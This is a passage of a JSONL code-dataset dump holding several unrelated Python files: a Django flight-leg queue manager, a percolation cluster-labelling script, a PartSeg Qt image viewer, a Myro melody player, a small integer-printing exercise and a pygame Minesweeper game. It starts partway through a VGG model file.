tf.nn.dropout(out, config.dropout_keep_prob)\n\n  # fc2\n  # (N, 4096) -> (N, 2096)\n  # TODO: Try dense_tanh\n  out = dense_relu(out, 4096, 'fc2')\n\n  # softmax\n  # (N, 2048) -> (N, 200)\n  logits = dense(out, 200, 'fc3')\n\n  return logits\n","sub_path":"src/vgg_16_svm.py","file_name":"vgg_16_svm.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"302199976","text":"# -*- coding: utf-8 -*-\nimport json\nfrom datetime import datetime\n\nimport pytz\nimport requests\nfrom django.db import models\nfrom django.db.models import Q\n\nimport conf_global\nfrom ac.models import OperatorPrimary\nfrom apis.helpers import check_duplicate_leg, check_duplicate_itinerary\nfrom delays.models import Delay\nfrom form.models import Arrival, Departure\nfrom itinerary.models import Leg, Flight, Itinerary, Airport\nfrom tasks.models import PlannedActRule, PlannedAct, PlannedActRule_Time, Task\n\n\nclass QueueLegManager(models.Manager):\n    @staticmethod\n    def check_itinerary(itinerary):\n        if 'ServiceStatus' in itinerary:\n            if itinerary['ServiceStatus']['code'] == 0 and len(itinerary['Flights']['Flight']) > 0:\n                return itinerary['Flights']['Flight']\n            raise ValueError(str(itinerary['ServiceStatus']['code']))\n        raise ValueError('ServiceStatus empty')\n\n    def flight_by_queue(self, data):\n        data['user'] = conf_global.USER\n        data['departureDateCondition'] = 'REAL'\n        data['requestTimeStandard'] = 'UTC'\n        client = requests.session()\n        response = json.loads(client.get('{}itinerary/21/flight/'.format(conf_global.URL), params=data).text)\n        self.process_flight(response)\n        self.change_queue_status(data)\n\n    def process_flight(self, flights):\n        flights = self.check_itinerary(flights)\n        for flight in flights:\n            if not self.create_leg_airport_active(flight):\n                return False\n            itinerary = self.build_itinerary(flight)\n            for leg in flight['Legs']['Leg']:\n                leg = self.build_leg(itinerary, leg)\n                leg = self.process_arrival(leg)\n                self.process_departure(leg)\n\n    def process_arrival(self, leg):\n        if leg.arrival_is_mar():\n            planned_tasks = self.unique_planned_arrival(leg)\n            self.build_task_mar(leg.arrival_data(), planned_tasks)\n            leg = self.build_form_leg(leg.arrival_data(), planned_tasks)\n        else:\n            Task.objects.filter(leg=leg, airport__cod=leg.arrival_airport).delete()\n            if not PlannedActRule_Time.objects.delete_from_arrival_form_by_tat(leg):\n                self.task_no_mar({'leg': leg, 'field': 'arrival_id', 'model': Arrival})\n        return leg\n\n    def process_departure(self, leg):\n        if leg.departure_is_mar():\n            planned_tasks = self.unique_planned_departure(leg)\n            self.build_task_mar(leg.departure_data(), planned_tasks)\n            leg = self.build_form_leg(leg.departure_data(), planned_tasks)\n        else:\n            Task.objects.filter(leg=leg, airport__cod=leg.departure_airport).delete()\n            self.task_no_mar({'leg': leg, 'field': 'departure_id', 'model': Departure})\n        Delay.objects.create_if_standard_15(leg)\n\n    @staticmethod\n    def task_no_mar(leg_dict):\n        if not leg_dict['leg'].__dict__[leg_dict['field']]:\n            leg_dict['leg'].__dict__[leg_dict['field']] = leg_dict['model'].objects.create_in_pending()\n            leg_dict['leg'].save()\n\n    @staticmethod\n    def rules_mar(leg, direction, airport):\n        rules = PlannedActRule.objects.filter(planned_act_apply__direction=direction,\n                                              planned_act_apply__airport__cod=airport)\n        return rules.filter(Q(aircrafts=leg.aircraft) | Q(flights__flight=leg.itinerary.flight_num.flight) |\n                            Q(destinations=leg.itinerary.flight_num))\n\n    @staticmethod\n    def rules_tat_arrival_mar(leg):\n        tat = leg.get_tat()\n        return PlannedActRule_Time.objects.filter(time__lte=tat.seconds / 60,\n                                                  planned_act_apply__airport__cod=leg.arrival_airport,\n                                                  planned_act_apply__direction=PlannedAct.ARRIVAL) if tat else []\n\n    @staticmethod\n    def rules_tat_departure_mar(leg):\n        arrival = leg.get_this_arrival()\n        if arrival:\n            tat = arrival.get_tat()\n            return PlannedActRule_Time.objects.filter(time__lte=tat.seconds / 60,\n                                                      planned_act_apply__airport__cod=leg.departure_airport,\n                                                      planned_act_apply__direction=PlannedAct.DEPARTURE) if tat else []\n        return []\n\n    def unique_planned_arrival(self, leg):\n        return list(\n            set([rule.planned_act_apply.id for rule in self.rules_mar(leg, PlannedAct.ARRIVAL, leg.arrival_airport)] +\n                [rule.planned_act_apply.id for rule in self.rules_tat_arrival_mar(leg)]))\n\n    def unique_planned_departure(self, leg):\n        return list(set(\n            [rule.planned_act_apply.id for rule in self.rules_mar(leg, PlannedAct.DEPARTURE, leg.departure_airport)] +\n            [rule.planned_act_apply.id for rule in self.rules_tat_departure_mar(leg)]))\n\n    @staticmethod\n    def build_form_leg(leg_dict, planned_list):\n        if PlannedAct.objects.filter(pk__in=planned_list, is_create_form=True) and not leg_dict[\n            'form'] and Airport.objects.is_active(leg_dict['airport'].cod):\n            leg_dict['leg'].__dict__[leg_dict['form_type']] = leg_dict['form_object'].objects.create_in_pending()\n            leg_dict['leg'].save()\n        elif not PlannedAct.objects.filter(pk__in=planned_list, is_create_form=True) and leg_dict['form']:\n            leg_dict['form_object'].objects.filter(pk=leg_dict['form'].pk).exclude(status__abbreviate='DONE').delete()\n        return Leg.objects.get(pk=leg_dict['leg'].pk)\n\n    @staticmethod\n    def build_task_mar(leg_dict, planned_tasks):\n        exists = Task.objects.filter(planned_action__in=planned_tasks, airport=leg_dict['airport'], leg=leg_dict['leg'])\n        delete = Task.objects.filter(leg=leg_dict['leg'], airport=leg_dict['airport']).exclude(\n            planned_action__in=planned_tasks)\n        union = exists.values_list('planned_action', flat=True) | delete.values_list('planned_action', flat=True)\n        difference = list(set(planned_tasks) - set(list(union)))\n        Task.objects.create_task_mar(leg_dict, difference)\n        delete.delete()\n\n    @staticmethod\n    def build_itinerary(flight):\n        date = datetime.strptime(flight['flightDate'], \"%d-%m-%Y\")\n        airline_code = OperatorPrimary.objects.get_or_create(name=flight['airlineCode'])[0]\n        flight_num = Flight.objects.get_or_create(flight=flight['flightNumber'],\n                                                  a_from=flight['Legs']['Leg'][0]['Departure']['airportIATACode'],\n                                                  a_to=flight['Legs']['Leg'][-1]['Arrival']['airportIATACode'])[0]\n        flight = Flight.objects.filter(flight=flight_num.flight, a_from=flight_num.a_from).order_by('pk')[0]\n        check_duplicate_itinerary(dict(flight_num=flight, date=date.date(), airline_code=airline_code))\n        return Itinerary.objects.get_or_create(airline_code=airline_code, date=date, flight_num=flight)[0]\n\n    def _leg_dates_times(self, arrival_time, a_or_d):\n        return {'st%s_utc' % a_or_d: self.parse_date(arrival_time['ScheduleDateTime']['utc']),\n                'st%s_local' % a_or_d: self.parse_date(arrival_time['ScheduleDateTime']['local']),\n                'et%s_utc' % a_or_d: self.parse_date(arrival_time['EstimatedDateTime']['utc']),\n                'et%s_local' % a_or_d: self.parse_date(arrival_time['EstimatedDateTime']['local']),\n                'at%s_utc' % a_or_d: self.parse_date(arrival_time['RealDateTime']['utc']),\n                'at%s_local' % a_or_d: self.parse_date(arrival_time['RealDateTime']['local'])}\n\n    @staticmethod\n    def _flight_service(flight_service):\n        return {'flight_service_route': flight_service['routeTypeCode'], 'flight_service_code': flight_service['code'],\n                'flight_service_description': flight_service['description']}\n\n    def _operators(self, operator):\n        return {'airline_code_owner': self._get_operator(operator['owner']) if 'owner' in operator else '',\n                'airline_code_operation': self._get_operator(operator['operating']) if 'operating' in operator else '',\n                'airline_code_comercial': self._get_operator(operator['comercial']) if 'comercial' in operator else ''}\n\n    @staticmethod\n    def _operational(operational):\n        return {'operation_status_code': operational['operationalStatusCode'],\n                'status_code': operational['legStatusCode'],\n                'sufix_code': operational['sufixCode'] if 'sufixCode' in operational else ''}\n\n    def build_leg(self, itinerary, leg):\n        sufix = self._operational(leg['OperationalInformation'])['sufix_code']\n        operator = Leg.objects.get_airline_code(leg['AirlineCodes']['operating'])\n        departures = self._leg_dates_times(leg['Departure']['BlockOff'], 'd')\n        std_utc = departures['std_utc']\n        del departures['std_utc']\n        default = {'aircraft': Leg.objects.get_or_create_aircraft(leg['Aircraft'], operator)}\n        check_duplicate_leg(itinerary.airline_code, itinerary.flight_num.flight, sufix, itinerary.date,\n                            std_utc, leg['Departure']['airportIATACode'])\n        new_leg = Leg.objects.update_or_create(\n            itinerary__airline_code=itinerary.airline_code,\n            itinerary__flight_num__flight=itinerary.flight_num.flight,\n            itinerary__date=itinerary.date,\n            std_utc=std_utc,\n            departure_airport=leg['Departure']['airportIATACode'],\n            sufix_code=sufix,\n            defaults=default,\n        )[0]\n        new_leg.__dict__.update(self._leg_dates_times(leg['Arrival']['BlockOn'], 'a'))\n        new_leg.__dict__.update(departures)\n        new_leg.__dict__.update(self._flight_service(leg['FlightServiceType']))\n        new_leg.__dict__.update(self._operators(leg['AirlineCodes']))\n        new_leg.__dict__.update(self._operational(leg['OperationalInformation']))\n        new_leg.itinerary = itinerary\n        new_leg.arrival_airport = leg['Arrival']['airportIATACode']\n        new_leg.save()\n        return new_leg\n\n    @staticmethod\n    def _get_operator(name):\n        return OperatorPrimary.objects.get_or_create(name=name)[0]\n\n    @staticmethod\n    def parse_date(date):\n        return datetime.strptime(date, \"%d-%m-%Y %H:%M\").replace(tzinfo=pytz.utc)\n\n    def create_queue(self, data):\n        self.update_or_create(airline_code=data['airlineCode'], flight_number=data['flightNumber'],\n                              flight_date=data['departureDate'])\n\n    def change_queue_status(self, data):\n        queue = self.filter(airline_code=data['airlineCode'], flight_number=data['flightNumber'],\n                            flight_date=data['departureDate'])\n        if queue.exists():\n            queue.update(status=True)\n\n    @staticmethod\n    def create_leg_airport_active(flights):\n        found = False\n        for leg in flights['Legs']['Leg']:\n            active_airports = Airport.objects.filter(Q(cod=leg['Arrival']['airportIATACode'], status=True) |\n                                                     Q(cod=leg['Departure']['airportIATACode'], status=True))\n            if active_airports:\n                found = True\n        return found\n\n\nclass QueueLeg(models.Model):\n\n    airline_code = models.CharField(max_length=3, null=True, blank=True)\n    flight_number = models.CharField(max_length=5, null=True, blank=True)\n    flight_date = models.CharField(max_length=15, null=True, blank=True)\n    status = models.BooleanField(default=False)\n    created = models.DateTimeField(auto_now_add=True, null=True)\n    objects = QueueLegManager()\n\n    def __unicode__(self):\n        return '{}-{}-{}'.format(self.flight_number, self.airline_code, self.flight_date)\n\n    class Meta:\n        unique_together = (('airline_code', 'flight_number', 'flight_date'), )\n","sub_path":"apis/models/queue_leg.py","file_name":"queue_leg.py","file_ext":"py","file_size_in_byte":11858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"232842339","text":"import numpy as np\nimport matplotlib.pyplot as plt \nimport seaborn as sns\nimport os\nimport matplotlib\nimport pandas as pd \n\nplt.style.use(\"bmh\")\nsns.color_palette(\"hls\", 1)\n\nmatplotlib.rc('xtick', labelsize=14)\nmatplotlib.rc('ytick', labelsize=14)\nmatplotlib.rcParams['mathtext.fontset'] = 'stix'\nmatplotlib.rcParams['font.family'] = 'STIXGeneral'\n\nnp.random.seed(1)\n\ndef generate_perc(Nx, Ny, f):\n\tmatrix = np.zeros((Ny,Nx), dtype='int32')\n\tmatrix[:,:] = np.random.random((Ny,Nx)) < f\n\treturn matrix\n\ndef plot_label(label, Nx, Ny):\n\tlabel_values = np.unique(label)\n\tN = Nx*Ny\n\tlabel[ np.where(label==0) ] = -N/10\t\t\n\tfor i in label_values[1:]:\n\t\tprint(len(np.where(label==i)[0]))\n\t\tlabel[ np.where(label==i) ] = len(np.where(label==i)[0]) #np.random.randint(0, int(1e4))\n\tprint(label)\n\tplt.figure(1)\n\tplt.axis('off')\n\tplt.imshow(label)\n\t#plt.tight_layout(pad=0.1, w_pad=0, h_pad=0)\n\t#plt.savefig(\"../figures/evolution_3.pdf\", bbox_inches=\"tight\")\n\t#os.system('pdfcrop %s %s &> /dev/null &'%(\"../figures/evolution.pdf\", \"../figures/evolution.pdf\"))\n\tplt.show()\n\nNx = 500\nNy = 500\nf = 0.5927\n\nperc  = generate_perc(Nx, Ny, f)\nlabel = np.zeros((Ny, Nx), dtype='int32')\nlabel_index = 1\nprint(np.shape(perc))\n#check upper corner\nif perc[0,0]:\n\tlabel[0,0] = label_index\n\tlabel_index += 1\n\n#check first row and first colloumn\nfor i in range(1, Nx):\n\tif perc[0, i]:\n\t\tif perc[0,i-1] == 0:\n\t\t\tlabel[0,i] = label_index \n\t\t\tlabel_index += 1\n\n\t\telif perc[0,i-1]:\n\t\t\tlabel[0,i] = label[0,i-1]\n\nfor i in range(1,Ny):\n\tif perc[i,0]:\n\t\tif perc[i-1, 0]:\n\t\t\tlabel[i,0] = label[i-1,0]\n\t\telse:\n\t\t\tlabel[i,0] = label_index\n\t\t\tlabel_index += 1\n\n#check rest\nfor y in range(1, Ny):\n\tfor x in range(1,Nx):\n\n\t\t#check if we are at filled site\n\t\tif perc[y,x]:\n\n\t\t\t#check above and left\n\t\t\tif perc[y-1,x] + perc[y,x-1] == 0:\n\t\t\t\tlabel[y,x] = label_index\n\t\t\t\tlabel_index += 1\n\n\t\t\t#check above\n\t\t\telif perc[y-1,x] and not perc[y,x-1]:\n\t\t\t\tlabel[y,x] = label[y-1,x]\n\n\t\t\t#check left\n\t\t\telif perc[y,x-1] and not perc[y-1,x]:\n\t\t\t\tlabel[y,x] = label[y,x-1]\n\n\t\t\telif perc[y-1,x] + perc[y,x-1] == 2:\t\t\t\t\n\t\t\t\tlabel[y,x]   = label[y-1,x]\n\t\t\t\tlabel[ np.where(label==label[y,x-1]) ] = label[y-1,x]\n\t\t\t\tlabel_index += 1\n\ncluster_values = np.unique(label)\nnr_clusters = len(cluster_values)-1 #minus one due to 0's\n\nplot_label(label, Nx, Ny)","sub_path":"midterm/code/hoshen_kopelam_algorithm.py","file_name":"hoshen_kopelam_algorithm.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"33560005","text":"from typing import Optional\n\nfrom qtpy.QtCore import QObject, QSignalBlocker, Slot\nfrom qtpy.QtGui import QResizeEvent\nfrom qtpy.QtWidgets import QCheckBox, QDoubleSpinBox, QLabel\n\nfrom PartSegCore.segmentation_info import SegmentationInfo\nfrom PartSegImage import Image\n\nfrom ..common_gui.channel_control import ChannelProperty\nfrom ..common_gui.napari_image_view import ImageView\nfrom .partseg_settings import PartSettings\n\n\nclass ResultImageView(ImageView):\n    \"\"\"\n    :type _settings PartSettings:\n    \"\"\"\n\n    def __init__(self, settings: PartSettings, channel_property: ChannelProperty, name: str):\n        super().__init__(settings, channel_property, name)\n        self._channel_control_top = True\n        self.only_border = QCheckBox(\"\")\n        self.image_state.only_borders = False\n        self.only_border.setChecked(self.image_state.only_borders)\n        self.only_border.stateChanged.connect(self.image_state.set_borders)\n        self.opacity = QDoubleSpinBox()\n        self.opacity.setRange(0, 1)\n        self.opacity.setValue(self.image_state.opacity)\n        self.opacity.setSingleStep(0.1)\n        self.opacity.valueChanged.connect(self.image_state.set_opacity)\n        self.opacity.setMinimumWidth(500)\n        self.label1 = QLabel(\"Borders:\")\n        self.label2 = QLabel(\"Opacity:\")\n        self.btn_layout.insertWidget(3, self.label1)\n        self.btn_layout.insertWidget(4, self.only_border)\n        self.btn_layout.insertWidget(5, self.label2)\n        self.btn_layout.insertWidget(6, self.opacity)\n        self.label1.setVisible(False)\n        self.label2.setVisible(False)\n        self.opacity.setVisible(False)\n        self.only_border.setVisible(False)\n\n    def any_segmentation(self):\n        for image_info in self.image_info.values():\n            if image_info.segmentation is not None:\n                return True\n        return False\n\n    @Slot()\n    @Slot(SegmentationInfo)\n    def set_segmentation(\n        self, segmentation_info: Optional[SegmentationInfo] = None, image: Optional[Image] = None\n    ) -> None:\n        super().set_segmentation(segmentation_info, image)\n        show = self.any_segmentation()\n        self.label1.setVisible(show)\n        self.label2.setVisible(show)\n        self.opacity.setVisible(show)\n        self.only_border.setVisible(show)\n\n    def resizeEvent(self, event: QResizeEvent):\n        if event.size().width() > 700 and not self._channel_control_top:\n            w = self.btn_layout2.takeAt(0).widget()\n            self.btn_layout.takeAt(2)\n            # noinspection PyArgumentList\n            self.btn_layout.insertWidget(2, w)\n            self._channel_control_top = True\n        elif event.size().width() <= 700 and self._channel_control_top:\n            w = self.btn_layout.takeAt(2).widget()\n            self.btn_layout.insertStretch(2, 1)\n            # noinspection PyArgumentList\n            self.btn_layout2.insertWidget(0, w)\n            self._channel_control_top = False\n\n\nclass CompareImageView(ResultImageView):\n    def __init__(self, settings: PartSettings, channel_property: ChannelProperty, name: str):\n        super().__init__(settings, channel_property, name)\n        settings.segmentation_changed.disconnect(self.set_segmentation)\n        settings.segmentation_clean.disconnect(self.set_segmentation)\n        settings.compare_segmentation_change.connect(self.set_segmentation)\n\n\nclass SynchronizeView(QObject):\n    def __init__(self, image_view1: ImageView, image_view2: ImageView, parent=None):\n        super().__init__(parent)\n        self.image_view1 = image_view1\n        self.image_view2 = image_view2\n        self.synchronize = False\n        self.image_view1.view_changed.connect(self.synchronize_views)\n        self.image_view2.view_changed.connect(self.synchronize_views)\n\n    def set_synchronize(self, val: bool):\n        self.synchronize = val\n\n    @Slot()\n    def synchronize_views(self):\n        # print(\"AAAAA\")\n        if not self.synchronize or self.image_view1.isHidden() or self.image_view2.isHidden():\n            return\n        sender = self.sender()\n        if sender == self.image_view1:\n            origin, dest = self.image_view1, self.image_view2\n        else:\n            origin, dest = self.image_view2, self.image_view1\n        _block = QSignalBlocker(dest)  # noqa F841\n        dest.set_state(origin.get_state())\n","sub_path":"package/PartSeg/segmentation_analysis/image_view.py","file_name":"image_view.py","file_ext":"py","file_size_in_byte":4329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"434241937","text":"#encoding:UTF-8\n#Autor:Hector Manuel Takami Flores\n#Listas y diccionarios\n\nfrom Myro import*\n\ndef reproducirMelodia(dF,dD,archivo):\n    entrada =open(archivo,\"r\")\n    entrada.readline() #Se desecha la primer linea\n    cancion=entrada.readlines()\n    for compas in cancion:\n        compas = compas.rstrip(\"\\n\")#Eliminamos caracteres ocultos al final de la linea\n        #Debemos hacer una doble separacion la 1ra (Nota duracion) de (Nota duracion)\n        notas = compas.split(\",\") #OJO AQUI ES NOTASSSSS\n        \n        for nota in notas: #OJO AQUI ES NOTA\n            #nota -> \"Nota duracion\" ----- Separacion por un espacio \" \" \n            datos = nota.split(\" \") #[\"Nota\",\"duracion\"]\n            print(\"*\",datos[0],\"*\",datos[1],\"*\")\n            #beep (duracion, frecuencia)\n            beep(dD[datos[1]],dF[datos[0]])\n    entrada.close()\n    \n\n\ndef crearDiccionarioDuracion():\n    #Primero leemos solo el valor ´negra´ que sera la base de nuestro tiempo \n    entrada=open(\"Cancion.txt\", \"r\")\n    linea=entrada.readline()\n    entrada.close()\n    print(linea)\n    strValor=linea[6:]\n    negra=float(strValor)\n     \n    #Creamos diccionario\n    figuras={\"negra\":negra,\"blanca\":negra*2,\"redonda\":4*negra, \"corchea\":negra/2, \"semiCorchea\":negra/4, \"negraPuntillo\":3*negra/2, \"blancaPuntillo\":3*negra}\n    return figuras\n    \n    \n\ndef crearDiccionarioFrecuencias():\n    d={} #Creamos un diccionario definido por {}\n    entrada=open(\"notasMusicales.txt\",\"r\")\n    lista = entrada.readlines() #Creamos una lista que va a leer cada linea del texto\n    entrada.close()\n    \n    #Procesamos cada linea\n    for linea in lista:\n        datos=linea.split(\"-\")\n        #print(datos)\n        \n        nota=datos[0]\n        frecuencia=float(datos[1])\n        d[nota]=frecuencia #Agregamos a cada valor de nota que leemos un valor de frecuencia y lo agrega al diccionario\n    return d #Regresamos el valor total del diccionario con los valores de las parejas = d{re#0:19.44, re#1:38.89....} nota:frecuencia\n    #print(d) #Entonces cuando llamemos al diccionario en busca de una nota, nos genera su frecuencia automaticamente\n\n\ndef main():\n    dFrecuencias=crearDiccionarioFrecuencias()\n    dDuracion=crearDiccionarioDuracion()\n    \n    #print(dFrecuencias)\n    print(dDuracion)\n    reproducirMelodia(dFrecuencias,dDuracion,\"Cancion.txt\")\n    \nmain()\n","sub_path":"Tarea Diccionario.py","file_name":"Tarea Diccionario.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"471909113","text":"# 02_integers.py\n\n# 2. 写一个程序。\n#   输入一个开始的整数值用变量begin绑定\n#   输入一个结束的整数值用变量end绑定\n#   打印从begin到end(不包含end)的每个整数(打印在一行内)\n#   如:\n#   请输入开始值: 8\n#   请输入结束值: 30\n#   打印结果:\n#     8 9 10 11 12 ...... 28 29\n#   附加思考:\n#     如何实现每5个数字打印在一行内?\n\nbegin = int(input(\"请输入开始值: \"))\nend = int(input(\"请输入结束值: \"))\n\ni = begin  # 新创建一个循环变量，用于控制循环\ncount = 0  # 此变量用于记录，每次加1,当能被5整除时换行\nwhile i < end:\n    print(i, end=' ')\n    count += 1\n    if count % 5 == 0:\n        print()\n    i += 1\nelse:\n    print()\n\n\n","sub_path":"AB/linux1/day05/day04_homework/02_integers.py","file_name":"02_integers.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"572175927","text":"# -*- coding: utf-8 -*-\n\"\"\"\nWelcome to M'Sweeper\n\nCreated on Wed Jan 9 21:20:37 2019\n\n@author: Aman Thukral\n\"\"\"\n#------------------------------------------------------------------------------\n# DEFINITION OF FUNCTIONS + IMPORTING MODULES\n#------------------------------------------------------------------------------\n\nimport copy\nimport random\nimport pygame\nimport time\nimport math\n\ndef matprint(m):\n  for i in range(len(m)):\n    print(m[i])\n\ndef value(m,y,x):\n  return(m[y][x])\n\nadd=[(1,0),(0,1),(-1,0),(0,-1),(1,1),(-1,1),(-1,-1),(1,-1)]\n\ndef check(m1,yx):  \n  for i in range(len(add)):\n    try:\n      if(((yx[0]+add[i][0])>=0) and ((yx[1]+add[i][1])>=0)):                     # DUAL ERROR HANDLING\n        m1[yx[0]+add[i][0]][yx[1]+add[i][1]]+=1\n    except:\n      pass\n  return(m1)\n\ndef newblanks(l1,l2):\n  result=[]\n  for i in l1:\n    if i not in l2:\n      result.append(i)\n  \n  return result\n\ndef crosslist(m1,x):\n  finalx=[]\n  for q in x:\n    finalx.append(q)\n  for i in x:\n     for j in add[0:4]:\n       try:\n         if i[0]+j[0]>=0 and i[1]+j[1]>=0:\n           currentTuple=((i[0]+j[0]),(i[1]+j[1]))\n           currentTupleValue=m1[currentTuple[0]][currentTuple[1]]\n           if (currentTupleValue>=0) and (currentTuple not in finalx):\n             finalx.append(currentTuple)\n       except:\n         pass\n  \n  return finalx\n\n#------------------------------------------------------------------------------\n# INPUTS + FORMATION OF DISPLAY STRUCTURE\n#------------------------------------------------------------------------------\n\nxVal=yVal=0\n\ninputBounds=True\nwhile inputBounds:\n  xVal=int(input(\"No. of columns:\"))\n  yVal=int(input(\"No. of rows:\"))\n  if xVal<3 or yVal<3:\n    print(\"Grid too small\")\n  elif xVal>12 or yVal>12:\n    print(\"Grid too big\")\n  else:\n    inputBounds=False\n\nbombDividend=6\nmode=input(\"Difficulty - Easy[E] or Hard[H]?:\")\nif mode=='H':\n  bombDividend=5\n\ndispStruct=[]\nrealStruct=[]\nfor i in range(yVal):\n  dispStruct.append([])\n  realStruct.append([])\n  for j in range(xVal):\n    dispStruct[i].append('untouched')\n    realStruct[i].append(0)\n\n#------------------------------------------------------------------------------\n# BOMBS + CHECKERS + FORMATION OF REAL STRUCTURE + BLANK GROUPING\n#------------------------------------------------------------------------------\n\nbDone=[]\nnBomb=(xVal*yVal)//bombDividend\n\nwhile(len(bDone)!=nBomb):\n  xBomb=random.randint(0,xVal-1)\n  yBomb=random.randint(0,yVal-1)\n  realStruct[yBomb][xBomb]=\"*\"\n  tBombCurrent=(yBomb,xBomb)\n  if(tBombCurrent not in bDone):\n    bDone.append(tBombCurrent)\n    realStruct=check(realStruct,tBombCurrent)\n\nblanks=[]\nfor i in range(yVal):\n  for j in range(xVal):\n    if value(realStruct,i,j)==0:\n      crossed=crosslist(realStruct,[(i,j)])\n      for k in blanks:\n        if (i,j) in k:\n          k.extend(newblanks(crossed,k))\n          break\n        else:\n          continue\n      else:\n        blanks.append(crossed)\n\n#------------------------------------------------------------------------------\n# DISPLAY + INTERFACE\n#------------------------------------------------------------------------------\n\npygame.init()\nspaceTop=80\nthickness=10\ncellSide=70\n\nlogoWidth=240\nlogoImg=pygame.image.load('logo.png')\n\ngWidth=(xVal*(cellSide+thickness))+thickness\ngHeight=(yVal*(cellSide+thickness))+spaceTop+thickness\n\ncursorImg=pygame.image.load('cursor.png')\ncursorWidth=80\n\ngreyImg=pygame.image.load('grey.png')\noneImg=pygame.image.load('one.png')\ntwoImg=pygame.image.load('two.png')\nthreeImg=pygame.image.load('three.png')\nfourImg=pygame.image.load('four.png')\nfiveImg=pygame.image.load('five.png')\nsixImg=pygame.image.load('six.png')\nsevenImg=pygame.image.load('seven.png')\neightImg=pygame.image.load('eight.png')\n\nbombImg=pygame.image.load('bomb.png')\nflagImg=pygame.image.load('flag.png')\n\nimgDict={0:greyImg,1:oneImg,2:twoImg,3:threeImg,4:fourImg,5:fiveImg,6:sixImg,7:sevenImg,8:eightImg,'*':bombImg,'F':flagImg}\n\ngameDisp=pygame.display.set_mode((gWidth,gHeight))\npygame.display.set_caption(\"M'sweeper\")\nclock=pygame.time.Clock()\n\nblack=(0,0,0)\nwhite=(255,255,255)\nred=(255,0,0)\ngreen=(0,255,0)\nblue=(0,0,255)\ngrey=(130,130,130)\n\ndef coordx(x):\n  return x*(cellSide+thickness)\n\ndef coordy(y):\n  return y*(cellSide+thickness)+spaceTop\n\ndef cursor(x,y):\n  gameDisp.blit(cursorImg,(x,y))\n\ndef text_objects(text,font):\n  textSurface=font.render(text,True,white)\n  return textSurface, textSurface.get_rect()\n\ndef message_display(text,f):\n  largeText=pygame.font.Font(f,60)\n  TextSurf, TextRect = text_objects(text,largeText)\n  TextRect.center = ((gWidth/2),40)\n  gameDisp.blit(TextSurf,TextRect)\n  \n  pygame.display.update()\n\ndef cellx():\n  mouse=pygame.mouse.get_pos()\n  mouse_x=mouse[0]\n  xTile=math.floor((mouse_x-(thickness/2))/(cellSide+thickness))\n  if xTile+1>xVal:\n    xTile=xVal-1\n  elif xTile+1<1:\n    xTile=0\n  return xTile\n\ndef celly():\n  mouse=pygame.mouse.get_pos()\n  mouse_y=mouse[1]-spaceTop\n  yTile=math.floor((mouse_y-(thickness/2))/(cellSide+thickness))\n  if yTile+1>yVal:\n    yTile=yVal-1\n  elif yTile+1<1:\n    yTile=0\n  return yTile\n\ndef bomb():\n  pygame.draw.rect(gameDisp,black,[0,0,gWidth,spaceTop])\n  message_display(\"BOOM!\",'BeforeCollapse.ttf')\n  time.sleep(3)\n  \n  pygame.quit()\n  quit()\n\ndef gameWin():\n  pygame.draw.rect(gameDisp,black,[0,0,gWidth,spaceTop])\n  message_display(\"YOU WON!\",'BradyBunch.ttf')\n  time.sleep(3)\n  \n  pygame.quit()\n  quit()\n\ndef gameloop():\n  \n  gameExit=False\n  \n  dispStruct1=copy.deepcopy(dispStruct)\n  \n  cursor_x=0\n  cursor_y=80\n  \n  while(not gameExit):\n    for event in pygame.event.get():\n      if event.type == pygame.QUIT:\n        pygame.quit()\n        quit()\n      \n      if event.type == pygame.MOUSEBUTTONDOWN:\n        \n        dispValue=value(dispStruct1,celly(),cellx())\n        \n        if pygame.mouse.get_pressed()[0]:\n          \n          if dispValue=='untouched':\n            dispStruct1[celly()][cellx()]=realStruct[celly()][cellx()]\n            \n            if value(realStruct,celly(),cellx())==0:\n              blankGroup=[(celly(),cellx())]\n              for i in blanks:\n                if (celly(),cellx()) in i:\n                  blankGroup=i\n                  break\n              for j in blankGroup:\n                dispStruct1[(j[0])][(j[1])]=value(realStruct,j[0],j[1])\n            \n            if value(realStruct,celly(),cellx())=='*':\n              gameDisp.blit(bombImg,(coordx(cellx()),coordy(celly())))\n              bomb()\n        \n        elif pygame.mouse.get_pressed()[2]:\n          \n          if dispValue=='untouched':\n            dispStruct1[celly()][cellx()]='F'\n          \n          elif dispValue=='F':\n            dispStruct1[celly()][cellx()]='untouched'\n    \n    cursor_x=coordx(cellx())\n    cursor_y=coordy(celly())\n    \n    gameDisp.fill(black)\n    gameDisp.blit(logoImg,(((gWidth-logoWidth)/2),0))\n    \n    pygame.draw.rect(gameDisp,white,[0,spaceTop,gWidth,gHeight])\n    \n    for i in range(xVal):\n      xBox=(thickness*(i+1))+(cellSide*i)\n      for j in range(yVal):\n        yBox=(thickness*(j+1))+(cellSide*j)+spaceTop\n        \n        pygame.draw.rect(gameDisp,grey,[xBox,yBox,cellSide,cellSide])\n    \n    counter=0\n    \n    for i in range(xVal):\n      xBox=(thickness*(i+1))+(cellSide*i)\n      for j in range(yVal):\n        yBox=(thickness*(j+1))+(cellSide*j)+spaceTop\n        \n        if value(dispStruct1,j,i)!='untouched':\n          currentImg=imgDict[value(dispStruct1,j,i)]\n          gameDisp.blit(currentImg,(coordx(i),coordy(j)))\n        \n        else:        \n          pygame.draw.rect(gameDisp,grey,[xBox,yBox,cellSide,cellSide])\n        \n        if value(dispStruct1,j,i)=='F':\n          if value(realStruct,j,i)=='*':\n            counter+=1\n            if counter==nBomb:\n              dispStruct1=realStruct\n              gameWin()\n    \n    cursor(cursor_x,cursor_y)\n    \n    pygame.display.update()\n    clock.tick(60)\n\ngameloop()\npygame.quit()\nquit()\n","sub_path":"2019/M'Sweeper/GameCode.py","file_name":"GameCode.py","file_ext":"py","file_size_in_byte":7879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
